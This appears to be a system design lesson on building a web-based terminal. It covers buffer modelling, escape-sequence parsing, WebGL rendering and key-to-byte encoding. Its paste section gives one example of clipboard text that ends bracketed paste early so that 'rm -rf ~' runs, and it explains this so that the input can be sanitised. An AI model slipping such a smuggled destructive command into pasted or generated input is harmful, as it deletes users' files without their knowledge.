cf.completefrontend
My progress
SYSTEM DESIGN · #111

Design a web-based terminal

An interactive shell in a browser tab, connected to a real process on a server. Showing text is the easy part; the hard parts are modelling a grid of cells with a cursor and two screen buffers, parsing a byte stream of escape sequences that arrives in random chunks, drawing 10,000 cells at 60 frames per second, turning key presses into the bytes a shell expects, and keeping the tab responsive when a command prints 100 MB.

The question

Our cloud development product gives every user a Linux container. Today they can only see build logs. We want a real terminal in the browser: they type ls, run vim, watch htop, and press Ctrl+C to stop a runaway script, exactly as they would on their laptop.

Design the terminal component. How does it model the screen, understand the bytes the shell prints, draw them fast, send the right bytes back for each key, talk to the server, and stay usable when output floods, the network drops, or the user relies on a screen reader?

Real-life examples: VS Code integrated terminal (xterm.js), GitHub Codespaces, Google Cloud Shell, Replit shell, Railway and Vercel consoles

Requirements: what to ask before drawing anything

A terminal is a program that shows the text another program prints and sends that program the keys you type. The program on the other side is usually a shell such as bash or zsh, which runs your commands. In the browser version, the shell runs on a server, and the terminal runs in the tab.

It looks like a box of monospace text, so it looks easy. It is one of the hardest components on the web for three reasons.

First, the shell does not send lines of text: it sends a stream of bytes mixed with commands like "move the cursor up 3 rows" or "clear to the end of the line". Second, full-screen programs such as vim and htop redraw the whole screen many times per second. Third, the terminal is two-way and real time: every key goes to the server and every echo comes back, so 100 ms of delay is felt on every keystroke.

This is a component question. You are designing the terminal pane that a larger product embeds, the way VS Code, GitHub Codespaces, and Google Cloud Shell embed one. The container, the editor, and the file tree around it are other teams' problems.

One related guide covers a cousin of this problem. The log-viewer guide is about read-only output: coloring with ANSI SGR codes, holding millions of lines in memory, and searching them. This guide is about the interactive case: a cursor that moves, a screen that full-screen apps repaint, and keys that go back to a live process. Where the two overlap, this guide links the log-viewer guide instead of repeating it.

Questions that change the design

  • What runs on the other side? A real login shell in a container (any program, including vim, tmux, htop) needs a full terminal emulator. A fixed command runner (only npm test) only needs a log view plus a stop button. Assume a full shell.
  • Who controls the server? If we own the process host, we can add our own protocol for resize, flow control, and reconnect. If we must talk to an existing SSH server directly, we can't. Assume we own a small gateway next to each container.
  • How many terminals per tab? VS Code users open 5 to 10 terminals in split panes. That multiplies memory and render cost, so the per-terminal budget matters. Assume up to 10, with one visible at a time per pane.
  • Does the session survive a refresh or a dropped Wi-Fi? If a long build must keep running and the output must come back, the server needs a persistent session and a replay buffer. Assume yes: the process keeps running for 30 minutes after the last tab closes.
  • Which devices? Desktop with a physical keyboard is the main case. On a phone, the soft keyboard has no Ctrl, Esc, or arrow keys, so you need an extra key bar. Assume desktop first, a basic mobile key bar second.
  • Accessibility and compliance? A terminal is a developer tool, and blind developers use terminals every day with screen readers. Assume a screen reader mode is required, not optional.

Functional requirements

  • Show program output with colors, bold, underline, and cursor movement, so ls --color, git log, vim, htop, and tmux look the way they do in a native terminal.
  • Send every key to the process with the bytes a native terminal would send, including Ctrl, Alt, arrows, function keys, and text typed through an input method (IME) for Chinese, Japanese, or Korean.
  • Resize with the pane: when the pane changes size, the grid changes size and the process is told the new rows and columns.
  • Scroll back through at least 10,000 lines of history, search it, select text with the mouse or keyboard, and copy and paste.
  • Detect web links and terminal hyperlinks, and open them in a new tab after a check.
  • Survive a network drop: reconnect on its own, show what was printed while away, and keep the process alive.

Non-functional requirements, with numbers

RequirementTargetWhy this number
Keystroke echoUnder 16 ms of client time from key to painted echo, on top of network round tripThe network round trip (20 to 80 ms) is already spent. The client must not add a visible frame on top of it.
Full-screen redrawA 200 by 50 grid (10,000 cells) repainted in under 4 mshtop and vim repaint the whole screen several times per second; 4 ms leaves room in a 16.7 ms frame.
Flood outputcat of a 100 MB file never blocks input for more than 100 msThe user must still be able to press Ctrl+C to stop it. INP (Interaction to Next Paint) counts 200 ms as the line for good.
MemoryUnder 20 MB per terminal with 10,000 lines of scrollback at 120 columnsTen terminals per tab must fit next to an editor on an 8 GB laptop. Chapter 3 shows the math.
ReconnectBack to a live session within 5 seconds of the network returning, with no lost outputA dropped Wi-Fi must not kill a 20 minute build or lose its output.
AccessibilityNew output announced to screen readers; every feature usable from the keyboardBlind developers rely on terminals; WCAG 2.1.1 requires keyboard access.

Out of scope, and why

  • Container scheduling and the shell itself. We assume a gateway can start a process with a pseudo-terminal and hand us a socket. How containers get placed is a backend question.
  • Shell features. Tab completion, history, and prompts belong to bash or zsh. The terminal just forwards keys. A common interview mistake is to design autocomplete into the terminal.
  • Editor features. Multi-cursor editing and syntax highlighting belong to the editor around the terminal, covered in the codepen guide.
  • Recording and replay for audits. Worth a follow-up mention (asciinema-style recordings), but not part of the core component.

Check your understanding · Exercise 1

Which answers from the interviewer would change the design the most? Select all that apply.

What makes a terminal hard

Before choosing anything, name the properties of the problem. Every later decision traces back to one of these five.

1. The input is a byte stream, not text

The process writes bytes to its terminal. Most are printable characters, but some are control sequences: short commands that start with the escape byte 0x1B (written ESC). For example, ESC[2J clears the screen, ESC[10;5H moves the cursor to row 10, column 5, and ESC[31m turns the text red.

These sequences arrive in network chunks that can split anywhere, even in the middle of a sequence or in the middle of a multi-byte UTF-8 character. The terminal must understand all of it, byte by byte, without ever showing a stray [31m on screen.

2. The screen is a grid with a cursor, not a list of lines

A log viewer only appends. A terminal writes at the cursor, and the cursor can go anywhere. A progress bar rewrites the same line 100 times, and vim paints row 1, then row 40, then row 7. So the core data structure is a 2D grid of cells, and output is "write this character at the cursor, then move the cursor", not "append a line".

3. Output can be a firehose

A server can produce output much faster than a browser can draw it. cat of a 100 MB file, a find / over a big disk, or a chatty build can push tens of megabytes per second. If the terminal tries to parse and draw everything as it arrives, the main thread is busy for seconds, input stops working, and the user can't even press Ctrl+C. The terminal needs flow control: a way to tell the server to slow down.

4. Keys must become the exact bytes a shell expects

Browsers give you KeyboardEvent objects. Shells expect bytes from the 1970s: Enter is \r (carriage return, byte 13), Ctrl+C is byte 3, the up arrow is ESC[A or ESC O A depending on a mode the program set. Some keys the browser won't give you at all: on Windows and Linux, Ctrl+W closes the tab before the page sees it. And text typed through an IME (input method editor, used for Chinese, Japanese, and Korean) arrives as composition events, not key presses.

5. It is remote code execution by design

Most web apps try hard to prevent running code on the server. A terminal's whole job is to run any command the user types. So authentication, session tokens, and the boundary between "output the server sent" and "something the page acts on" (links, clipboard writes, window titles) are security decisions, not polish.

The two loops of a web terminal. Output loop: bytes from the WebSocket go into the Parser, a state machine, which writes cells and the cursor into the Buffer, and the Renderer paints dirty rows. Input loop: a key press reaches a hidden Textarea, the Encoder turns it into bytes using modes read from the Buffer, and the bytes go out on the WebSocket.Output loopWebSocketbytes inParserstate machineBuffercells, cursorRendererdirty rowsInput loopKeyboardkey, IME, pasteTextareahidden, focusedEncoderkey to bytesWebSocketbytes outmodes
The loops only meet in two places: the socket, and the modes that the parser stores in the buffer (such as application cursor keys), which the encoder reads to choose the right bytes.

The figure shows the two loops this guide designs. The output loop: bytes from the socket go into a parser, the parser changes a buffer of cells, and a renderer draws the cells that changed. The input loop: a key event goes into an encoder that produces bytes, and the bytes go out on the socket. The two loops meet only at the buffer (the cursor position and modes the program set) and the socket.

Think first

Why not just append the output into a pre element and let the browser handle it?

The terminal model: a grid of cells, a cursor, and two screens

Everything else in the design reads or writes one structure: the buffer. Get it right first.

A terminal screen is a grid of rows by cols cells. Each cell holds one character and its attributes: foreground color, background color, and flags such as bold, italic, underline, and inverse. A typical pane is 120 columns by 30 rows, so 3,600 cells. A maximized pane on a 4K monitor can be 300 by 80, so 24,000 cells.

On top of the grid sits the cursor: a row and a column where the next character will be written, plus the "current attributes" (the pen). When the program prints A, the terminal stores A with the pen's attributes at the cursor cell and moves the cursor one column right. That's the whole printing rule. Everything else is a control sequence that moves the cursor, changes the pen, or erases cells.

The terminal model. Above a dashed line are two read-only scrollback lines: dollar cd app, and dollar npm test. Below it is the active screen, a grid of 10 columns by 4 rows of cells: PASS 12/12, then dollar ls, then a.ts b.ts, then a dollar prompt with the cursor on row 3, column 2. Notes say the cursor is at row 3, column 2 with a green bold pen, and that each cell holds a character, foreground, background, and flags in 12 bytes of a Uint32Array.$ cd app$ npm testscrollbackPASS12/12$lsa.tsb.ts$screenrows 0 to 3cursor: row 3, col 2pen: green, boldcell: char, fg, bg, flags12 bytes in a Uint32Array
Programs can only address the screen below the line. When the cursor is on the last row and a line feed arrives, the top screen row moves up into scrollback and a blank row appears at the bottom.

Screen versus scrollback

When the cursor is on the last row and a line feed arrives, the screen scrolls: the top row leaves the screen, every row moves up by one, and a blank row appears at the bottom. In a native terminal the row that left is not lost: it goes into the scrollback, the history above the screen that you can scroll up to read.

So the buffer is really one long list of lines. The last rows lines are the active screen, which programs can address with the cursor. Everything above is scrollback, which programs can't touch: it is read-only history.

The viewport is a third idea: which lines the user is looking at. Usually it is the active screen. When the user scrolls up, the viewport moves into scrollback while the program keeps writing to the active screen below. Keep these three apart in your head: the program writes the active screen, scrolling pushes lines into scrollback, and the viewport is just where the user is looking.

The alternate screen

Open vim, quit it, and your previous commands are still there, untouched. That works because terminals have two buffers. The normal buffer has scrollback. The alternate buffer has exactly rows lines and no scrollback.

Full-screen programs send ESC[?1049h when they start: the terminal saves the cursor, switches to a clean alternate buffer, and the program paints freely. On exit they send ESC[?1049l: the terminal switches back and restores the cursor, and the shell history reappears as if nothing happened.

This has design consequences. While the alternate buffer is active, mouse wheel scrolling has nothing to scroll, so terminals usually send the wheel to the program as arrow keys or mouse events instead. Search should say which buffer it searched. And the alternate buffer must never be pushed into scrollback, or quitting htop would leave 50 copies of its screen in history.

Two buffers side by side. The normal buffer on the left has three scrollback lines, dollar git log, commit 9f2c, dollar make, above a dashed line, and a three row screen: build ok, dollar vim app.ts, and a prompt. The alternate buffer on the right has only a three row screen showing vim: 1 import x, 2 const y = 2, and INSERT, with a note that it has no scrollback. An arrow labelled ESC [ ? 1049 h goes from normal to alternate, and an arrow labelled ESC [ ? 1049 l comes back.Normal buffer$ git logcommit 9f2c$ makebuild ok$ vim app.ts$Alternate bufferno scrollbackexactly rows lines1 import x2 const y = 2-- INSERT --?1049h?1049l
vim paints on the alternate buffer, which has no history. When it exits with ESC[?1049l, the normal buffer and its scrollback come back untouched and the cursor is restored.

How to store the cells

Decision How should the buffer store 10,000 lines of 120 cells each?

One object per cell

Each line is an array of { char, fg, bg, bold, underline } objects.

Writing a character replaces the object at the cursor.

Pros

  • The most readable code; easy to debug.
  • Fine for a toy 80 by 24 screen.

Cons

  • 1.2 million objects for 10,000 lines of 120 columns, roughly 60 to 100 bytes each: an estimated 70 to 120 MB.
  • Every garbage collection walks a million objects, causing visible pauses during heavy output.

A string per line plus attribute runs

Each line is a string, plus a list of runs like { from: 0, to: 5, fg: red }.

This is what a log viewer stores, because log lines never change.

Pros

  • Compact for plain text; cheap to search.
  • Easy to hand to a DOM renderer.

Cons

  • Overwriting one character in the middle means rebuilding the string and splitting runs.
  • Wide characters and combining marks make string index and column number disagree.

Typed arrays: a few 32-bit numbers per cell

Each line is one Uint32Array with 3 numbers per cell: the code point plus width bits, then the foreground and flags, then the background.

Rare data (a hyperlink id, a long grapheme cluster, curly underline color) lives in a side map keyed by cell.

Pros

  • 12 bytes per cell: 10,000 lines of 120 cells is 14.4 MB, in about 10,000 objects instead of a million.
  • Overwriting a cell is three array writes. Copying a line is one set call.

Cons

  • More complex code with bit masks.
  • Needs helpers to read a cell into a friendly object for features like selection.

What we pick: Typed arrays. The buffer is the hottest data structure in the app: every byte of output writes it and every frame reads it. xterm.js stores each line as a Uint32Array with 3 numbers per cell for the same reason. Keep a small reusable cell object for reading, so loops don't allocate.

ts
const WORDS = 3; // content, fg+flags, bg
const WIDTH_SHIFT = 22;

class Line {
  data: Uint32Array;
  wrapped = false; // true if this line continues onto the next row
  constructor(public cols: number) {
    this.data = new Uint32Array(cols * WORDS);
  }
  set(col: number, codePoint: number, width: number, fg: number, bg: number) {
    const i = col * WORDS;
    this.data[i] = codePoint | (width << WIDTH_SHIFT);
    this.data[i + 1] = fg;
    this.data[i + 2] = bg;
  }
  codePoint(col: number) {
    return this.data[col * WORDS] & 0x1fffff;
  }
}
A line of cells as one typed array. Width lives in two bits of the content word: 1 for normal, 2 for the left half of a wide character, 0 for its right half.

Scrollback as a ring buffer

Scrollback has a limit, say 10,000 lines, so when line 10,001 arrives the oldest line must go. Removing the first item of a JavaScript array with shift() moves every other item, which is 10,000 moves per new line during a flood. A ring buffer (circular buffer) avoids that: a fixed array of 10,000 slots plus a start index. A new line overwrites the slot at start and start moves forward.

Better still, the evicted line's Uint32Array can be reused for the new line, so a flood allocates almost nothing. xterm.js keeps its lines in a circular list for this reason, and its default scrollback is 1,000 lines. VS Code also starts at 1,000 and lets users raise it in settings.

Line wrapping and reflow on resize

When the cursor reaches the last column and another character arrives, the terminal wraps: it moves to column 0 of the next row and marks the previous row as wrapped. That flag is the only memory that two rows are really one long logical line.

It matters twice. Copying a selection across a wrapped row must not insert a newline. And on resize, the terminal can reflow: join wrapped rows back into logical lines and re-wrap them at the new width, the way a text editor re-wraps a paragraph.

Reflow is only done for the normal buffer, and only for lines the program is no longer controlling. The alternate screen is not reflowed: the program gets a resize signal and repaints itself at the new size. Reflow is also where wide characters bite: a 2-cell character can't be split across rows, so when it would land in the last column, the terminal leaves that cell blank and wraps early.

Check your understanding · Exercise 2

A user runs htop, quits it, then scrolls up. Which statements are true? Select all that apply.

Parsing the byte stream: a state machine that survives any chunk boundary

The parser turns bytes into actions on the buffer: "print this character", "move the cursor", "set red", "switch to the alternate screen". Here is the zoo it must handle, using the names from the xterm and VT100 documentation.

FamilyStarts withExampleWhat it does
C0 controla single byte below 0x20\r (13), \n (10), \b (8), BEL (7)Carriage return, line feed, backspace, beep. One byte, no parameters.
ESC sequenceESC plus one or two bytesESC 7, ESC 8Save and restore the cursor.
CSI (Control Sequence Introducer)ESC [ESC[5;10H, ESC[2K, ESC[1;31mCursor moves, erase, scroll regions, modes, and SGR (colors and styles). Numbers separated by ;, then one final letter.
Private modesESC [ ?ESC[?25l, ESC[?1049h, ESC[?2004hHide the cursor, alternate screen, bracketed paste. h sets a mode, l resets it.
OSC (Operating System Command)ESC ]ESC]0;build BEL, ESC]8;;https://x.dev ESC\A text payload: window title, hyperlinks (OSC 8), clipboard (OSC 52). Ends with BEL or ESC \ (the String Terminator, ST).
DCS (Device Control String)ESC PSixel images, terminal queriesA long payload for special features. Most web terminals ignore the payload safely.

The log-viewer guide parses only SGR colors with a regular expression, and that's right for read-only lines that arrive whole. A terminal can't do that, for one reason: chunks split anywhere.

The server reads from the process in blocks of whatever size the kernel hands over, and the network may split them again. One chunk can end with ESC[3 and the next start with 1m. A regex over each chunk sees neither half as a sequence and prints [3 and 1m as text.

Decision How should the parser read the stream?

Regex over each chunk

Match ESC [ params final with a regular expression, print the text between matches.

Pros

  • Twenty lines of code; good enough for colors in read-only logs.

Cons

  • Breaks on sequences split across chunks.
  • Can't express OSC strings that end with BEL or ST, or the rules for C0 bytes inside a sequence.
  • Garbage leaks to the screen whenever a program sends something unusual.

Buffer until a full sequence, then regex

Keep the tail of a chunk if it looks like an unfinished sequence, prepend it to the next chunk.

Pros

  • Fixes the simple split case.

Cons

  • "Looks unfinished" is the hard part, and you end up writing the state machine anyway, badly.
  • Rescans text repeatedly; an unterminated OSC can grow the held tail forever.

Table-driven state machine

Keep one state variable. For each byte, look up (state, byte) in a transition table to get an action and the next state.

Parameters accumulate as numbers as their digits arrive. Nothing is rescanned.

Pros

  • Splits are free: the state simply persists between chunks.
  • Every byte in every state has a defined outcome, so bad input can't wedge the terminal.
  • Fast: one array lookup per byte, no allocations.

Cons

  • More upfront design.
  • The table must be built carefully from a reference model.

What we pick: The state machine. There is a well-known reference model for it: Paul Williams' DEC-compatible parser, published on vt100.net, which models what real DEC VT terminals did with every byte in every state. xterm.js builds its transition table from it (the source cites vt100.net), and so do several native terminals. You don't invent this part; you implement a known model.

The parser state machine. Ground prints text and executes C0 controls. ESC moves Ground to Escape. From Escape, a left bracket moves to CSI entry and a right bracket moves to OSC string. From CSI entry, digits and semicolons move to CSI param, which collects parameters. A final byte from at sign to tilde dispatches the sequence and returns to Ground. OSC string collects text until BEL or ST, then returns to Ground. A note says ESC works from any state and CAN or SUB return to Ground.Groundprint, C0Escapeafter ESCOSC stringcollect textCSI entryafter ESC [CSI paramcollect 31;1ESC][0-9 ;BEL or STfinal byte: dispatchESC: from any stateCAN, SUB: to Ground
The state is one number stored on the parser between writes. A chunk that ends in CSI param simply resumes there when the next chunk arrives.

The figure shows the states that matter for 95 percent of traffic. In ground, printable bytes are printed and C0 controls are executed. ESC moves to escape.

From there [ moves to csi entry, digits and ; move to csi param (collecting parameters), and a final byte from @ to ~ dispatches the sequence and returns to ground. ] moves to osc string, which collects text until BEL or ST. Two rules make it hard to break: CAN and SUB (bytes 24 and 26) cancel any sequence, and ESC from any state starts a fresh one. So a program that crashes mid-sequence can't leave the terminal stuck.

ts
parse(codes: Uint32Array, length: number) {
  for (let i = 0; i < length; i++) {
    const code = codes[i];
    // fast path: a run of printable characters in ground state
    if (this.state === GROUND && code >= 0x20 && code !== 0x7f) {
      let end = i + 1;
      while (end < length && codes[end] >= 0x20 && codes[end] !== 0x7f) end++;
      this.handlers.print(codes, i, end);
      i = end - 1;
      continue;
    }
    const t = TABLE[(this.state << 8) | Math.min(code, 0xa0)];
    switch (t & ACTION_MASK) {
      case EXECUTE: this.handlers.execute(code); break;
      case PARAM: this.params.addDigitOrSeparator(code); break;
      case CSI_DISPATCH: this.handlers.csi(this.params, code); break;
      case OSC_PUT: this.osc.push(code); break;
      case OSC_END: this.handlers.osc(this.osc.take()); break;
      case CLEAR: this.params.reset(); break;
    }
    this.state = t >> STATE_SHIFT;
  }
}
The core loop. state, params, and osc live on the parser object, so they survive between write calls: that is the whole answer to split chunks.

Try it: feed the parser chunks

The lab below has a 12 by 4 terminal, and each button feeds one chunk of bytes. Watch the parser state between chunks: after chunk 1 the parser sits in csi param with 3 collected, and nothing odd is printed. Chunk 2 completes the sequence. Chunks 3 and 4 split a CJK character's UTF-8 bytes, which then takes 2 cells, and the last three chunks switch to the alternate screen and back.

Parser lab after 0 of 7 chunks. Parser state: ground. utf-8 held: none. Active buffer: normal. Cursor at row 0, column 0. Pen default. Screen rows: empty; empty; empty; empty.1234567no bytes yetnormalstate: groundpen: defaultutf-8 held: nonecursor: row 0, col 0
An empty 12 by 4 terminal. Feed the chunks one at a time.

UTF-8 decoding: the same problem one level down

Before the parser sees code points, bytes must be decoded from UTF-8. A character like é is 2 bytes, 中 is 3, and most emoji are 4. A chunk can end after the first byte of 中. Decoding each chunk on its own turns the halves into two replacement characters (U+FFFD).

The fix has the same shape as the parser: keep the leftover bytes and finish the character with the next chunk. In the browser, new TextDecoder("utf-8") with decode(chunk, { stream: true }) does exactly this. xterm.js uses its own small decoder that writes straight into a reused Uint32Array, avoiding a string allocation per chunk.

Wide characters: how many cells is this character?

A Latin letter takes 1 cell. A CJK character such as 中 and most emoji take 2 cells. Combining marks (the accent in e plus U+0301) take 0 cells: they attach to the previous cell. The function that answers "how many cells?" is traditionally called wcwidth, and it is derived from the Unicode East Asian Width property and emoji data.

The trap: the program on the server also computes widths, to know where its own cursor is. vim, zsh, and tmux all call wcwidth from the server's C library. If the terminal thinks an emoji is 2 cells and the server thinks it is 1, every character after it on that line is drawn one cell off, and line editing in the shell corrupts the screen.

So the goal is not "the most correct width", it is "the same width table as the programs you talk to". xterm.js ships Unicode 6 widths by default and offers a Unicode 11 addon, letting the embedding app pick the version that matches its servers. Emoji built from several code points (a family emoji joined with zero-width joiners) are still a known area where terminals and programs disagree.

Check your understanding · Exercise 3

The socket delivers ESC[3 in one message and 1mok in the next. Which statements are true for a state-machine parser? Select all that apply.

Rendering: drawing 10,000 cells at 60 frames per second

The renderer reads the buffer and paints the viewport. The hard case is not a prompt: it's htop repainting a 200 by 50 grid 10 times a second, or a build printing 5,000 lines a second while the user watches it scroll. The budget from the requirements: a full repaint under 4 ms, so the parser gets most of the 16.7 ms frame.

Groundwork that applies to every renderer

  • Render at most once per frame. The parser marks rows dirty as it writes. A requestAnimationFrame callback paints only rows between the lowest and highest dirty index, then clears the marks. A burst of 300 writes in one frame costs one paint.
  • Measure the cell once. A monospace font has one advance width. Measure it (for example, with measureText on a long run of W divided by its length, or a hidden DOM span), round to device pixels, and cache it. Cell width times cols must equal the pane width exactly, or the fit math drifts. Re-measure when the font loads (document.fonts.ready) and when zoom changes.
  • Respect devicePixelRatio. On a 2x screen, a canvas must be twice the CSS size in real pixels and scaled, or text is blurry. Listen for ratio changes with matchMedia because dragging a window between monitors changes it.
  • Keep the cursor out of the grid repaint. Cursor blink is a separate, tiny job: repaint only the cursor's cell (or toggle a small overlay) every 600 ms, and stop blinking when the terminal is not focused or when prefers-reduced-motion is set. Repainting the whole grid to blink a cursor wastes battery on idle terminals.

Decision What should draw the cells?

DOM: one element per row, spans per style run

Each visible row is a div. Inside it, consecutive cells with the same attributes become one span with classes for color and weight.

A dirty row replaces its children.

Pros

  • Text is real text: native font rendering, ligatures, and screen readers can reach it.
  • Works everywhere, no GPU needed, simplest to debug.

Cons

  • Heavy output means thousands of element creations per frame and layout work for each.
  • Colorful output (one span per cell in htop) gets slow at large sizes.

Canvas 2D

One canvas. For each dirty row, fill background rectangles, then fillText each run of characters at cell positions.

Pros

  • No layout or element churn; cost scales with dirty cells.
  • Full control over cell alignment.

Cons

  • fillText is still slow for thousands of calls per frame.
  • Text is invisible to the accessibility tree and to browser find; selection must be custom.
  • xterm.js removed its canvas renderer in version 6, keeping only DOM and WebGL.

WebGL with a glyph texture atlas

Draw each distinct glyph (character, style, color) once into a texture, the atlas.

Each frame, upload a small array describing every cell: which atlas slot, where on screen, which background. The GPU draws all cells in one or two draw calls.

Pros

  • Fastest by far: the per-frame work is filling a typed array.
  • Cost barely grows with color complexity.

Cons

  • WebGL context can be lost (GPU reset, too many contexts); you need a fallback.
  • Atlas must be rebuilt on font, size, or ratio changes; very large character sets (CJK) can fill it.
  • Same accessibility and selection gaps as canvas.

What we pick: WebGL with a glyph atlas as the main renderer, with the DOM renderer as fallback. This is the pairing VS Code uses with xterm.js: GPU acceleration by default, falling back to the DOM renderer if WebGL fails or the context is lost. The DOM fallback also covers old GPUs and remote desktop sessions where WebGL is slow. Accessibility does not depend on the renderer: the screen reader mode in chapter 11 keeps its own DOM tree.

How a WebGL renderer draws text. A glyph atlas texture holds 15 slots of pre-drawn glyphs, such as dollar, l, s, a, and a wide CJK character; slot 3 is a bold green a. The texture goes to the GPU draw step. A Cell data array with slot, column, row, and background for every cell also goes to the GPU every frame. The GPU draws the screen, showing dollar ls and a.ts b.ts, in one call. A note says a new glyph is rasterized once into a free slot.Glyph atlas$lsa.tbmdk中→exoslot 3: bold green aWebGL drawone calltexture$ lsa.ts b.tsCell dataslot, col, row, bgevery framenew glyph: rasterizeonce into a free slot
Rasterizing text is the slow part, and the atlas does it once per distinct glyph. Each frame only fills a typed array of cell data, so a colorful full-screen repaint costs about the same as a plain one.

How the glyph atlas works

Rasterizing text is the slow part of drawing text, and the atlas does it once per distinct glyph. When the renderer meets A in bold green for the first time, it draws that glyph with Canvas 2D into a free slot of an offscreen canvas and uploads the slot to a GPU texture. Every later bold green A is just "copy slot 37 to cell (12, 4)". A typical shell session uses a few hundred distinct glyphs, so after the first second, nothing is rasterized at all.

Edge cases: wide characters take a slot twice the cell width. Emoji are drawn in color, so they can't be tinted like plain glyphs. When the atlas fills (a user cats a large CJK file), the renderer starts a new page or clears and rebuilds. Font size, font family, theme, and devicePixelRatio changes all invalidate the atlas.

Fonts and ligatures

Programming fonts such as Fira Code draw => or != as one joined glyph, a ligature. A cell grid fights this: each cell is drawn on its own. The DOM renderer gets ligatures for free if runs stay in one span.

Canvas and WebGL renderers need to detect ligature sequences from the font's tables and draw them as one wide glyph, which xterm.js offers as an optional addon. Treat ligatures as a nice-to-have and say so; the interviewer is checking that you know the grid model makes them hard.

Rough estimates on a mid-range laptop; measure on your own target devices. The shape matters more than the numbers: DOM cost grows with style runs, WebGL cost barely does.
Scenario (200 by 50 grid, estimates)DOMWebGL atlas
One line typed at the prompt1 row rebuilt, well under 1 ms1 row of cell data, well under 1 ms
Full repaint, mostly plain textAbout 2 to 6 ms (50 rows, few spans)About 0.5 to 1 ms
Full repaint, colorful htopAbout 8 to 20 ms (thousands of spans)About 0.5 to 1.5 ms
Scrolling a flood at 60 frames per secondOften drops framesUsually holds 60

Check your understanding · Exercise 4

A user reports high CPU while the terminal sits idle at a prompt. Which are likely causes? Select all that apply.

Input: turning browser key events into the bytes a shell expects

A native terminal sends bytes to the process for every key. The browser gives us KeyboardEvent, InputEvent, composition events, and paste events. The input layer translates between the two worlds and must never send a byte twice or drop one.

Where keys are captured: a hidden textarea

Decision Which element should receive keyboard input?

keydown on the container div

Make the terminal div focusable with tabindex="0" and listen for keydown.

Pros

  • Simple; every physical key arrives.

Cons

  • No IME: Chinese, Japanese, and Korean input never starts, because composition needs an editable target.
  • Mobile soft keyboards don't open for a plain div.
  • Dead keys (´ then e making é) don't compose.

A contenteditable element

Let the user type into an editable region and read the changes.

Pros

  • IME and mobile keyboards work.

Cons

  • The browser edits the DOM itself: autocorrect, spellcheck, and undo fight the terminal.
  • Hard to keep the region empty and in sync.

A hidden, focused textarea placed at the cursor

A transparent 1-cell textarea sits over the cursor cell and holds focus.

keydown handles special keys; input and compositionend deliver typed and composed text; the textarea is cleared after each event.

Pros

  • IME works, and its candidate window opens next to the cursor because the textarea is there.
  • Mobile keyboards open; paste and dead keys come for free.
  • Screen readers see a real text field with a label.

Cons

  • Must suppress the browser's own behaviors: autocorrect, autocapitalize, spellcheck off.
  • Has to be moved every time the cursor moves.

What we pick: The hidden textarea, as xterm.js and most web editors do. The rich-text-editor guide covers the IME composition event sequence in depth. The rule that matters here: while isComposing is true, send nothing. Send the final text once, on compositionend, or the shell receives half-built syllables.

Sequence of one keystroke. The User presses l. The hidden Textarea fires an input event to the Terminal, which encodes it and sends an input frame 0x01 l to the Gateway. The Gateway writes it to the PTY of the Shell. The Shell echoes l back to the Gateway, which sends an output frame 0x00 l to the Terminal. The Terminal parses it, writes the cell, marks the row dirty, and paints in the next frame. A note says the client should add under 16 ms on top of the network round trip.UserTextareaTerminalGatewayShellpress linput event0x01 lwrite PTYecho l0x00 lparse, dirty row, paintclient: under 16 msplus the network round trip
The character appears only when the shell echoes it. That is why a password prompt shows nothing: the shell turned echo off, and the terminal never guesses.

From key to bytes

KeyBytes sentWhy
Enter\r (13)Terminals send carriage return. The PTY converts it to a newline for the program when needed.
Backspace0x7F (DEL)Modern terminals send DEL; a few legacy setups expect 0x08. Make it configurable.
Ctrl+C0x03Ctrl plus a letter sends the letter's code minus 64: C is 67, so 3. The PTY turns 3 into SIGINT for the foreground process.
Up arrowESC[A, or ESC O A in application cursor modePrograms like vim set mode ESC[?1h (DECCKM) and expect the ESC O form. The encoder must read the mode the parser stored.
Alt+BESC bAlt as meta prefixes the key with ESC. bash reads it as "back one word". On macOS, Option types special characters by default, so this is a setting.
F5ESC[15~Function keys use ~-terminated CSI codes, with extra parameters for modifiers.
Tab\t (9)The shell does completion; the terminal must keep focus instead of moving it to the next element. See chapter 11 for the escape hatch.
ts
function encodeKey(e: KeyboardEvent, modes: Modes): string | null {
  const appCursor = modes.applicationCursorKeys; // set by ESC[?1h
  switch (e.key) {
    case "Enter": return "\r";
    case "Backspace": return e.ctrlKey ? "\x08" : "\x7f";
    case "ArrowUp": return appCursor ? "\x1bOA" : "\x1b[A";
    case "ArrowDown": return appCursor ? "\x1bOB" : "\x1b[B";
    case "Escape": return "\x1b";
  }
  if (e.ctrlKey && !e.altKey && e.key.length === 1) {
    const code = e.key.toUpperCase().charCodeAt(0);
    if (code >= 64 && code <= 95) return String.fromCharCode(code - 64);
  }
  if (e.altKey && modes.altIsMeta && e.key.length === 1) return "\x1b" + e.key;
  return null; // let the textarea's input event deliver printable text
}
A slice of the key encoder. modes is shared with the parser, which is the one place the input and output loops meet.

Keys the browser won't give you

Ctrl+W deletes the previous word in bash, and closes the tab in the browser. On Windows and Linux, Chrome and other major browsers handle Ctrl+W, Ctrl+T, Ctrl+N, and Ctrl+Tab before the page sees them, so preventDefault does nothing. On macOS those browser shortcuts use Cmd, so Ctrl+W does reach the terminal. You have three tools, none perfect:

  • Keyboard Lock API. navigator.keyboard.lock() lets a page capture shortcuts the browser normally keeps, such as Ctrl+W. Only Chromium browsers support it, and only while the page is in fullscreen that it requested itself. Offer a "focus mode" fullscreen toggle that uses it.
  • Alternatives and remapping. Document Alt+Backspace, which bash already reads as delete previous word, offer to map Ctrl+Backspace to byte 0x17 (what Ctrl+W sends), and let users bind any key to any byte sequence.
  • A close guard. Use a beforeunload prompt while a process is running, so an accidental Ctrl+W doesn't lose work. With persistent sessions (chapter 7), even a closed tab only loses the view, not the process.

The reverse problem also exists: the embedding app has its own shortcuts (Ctrl+Shift+C to copy, Ctrl+P for a command palette). The terminal must offer a hook to let the host claim a key before it's encoded. xterm.js calls it attachCustomKeyEventHandler: return false and the terminal ignores the event.

Paste and bracketed paste

Pasting is typing many keys at once, and that is dangerous. If you paste three lines into bash, each newline runs a command, so the first two lines run before you've looked at them. Programs can opt into bracketed paste mode with ESC[?2004h. Then the terminal wraps pasted text as ESC[200~ plus the text plus ESC[201~, and the shell knows it was pasted, shows it, and waits for Enter.

  • Strip the end marker from the pasted text. If the clipboard contains ESC[201~ followed by rm -rf ~, an unfiltered paste ends the bracket early and the rest runs as typed input. Remove ESC bytes (or at least the markers) from pasted content.
  • Convert newlines in pasted text to \r, the byte Enter sends.
  • Warn on multi-line paste when bracketed paste is off. Show a dialog with the line count and the first lines, as VS Code and Windows Terminal do. Let users turn it off.
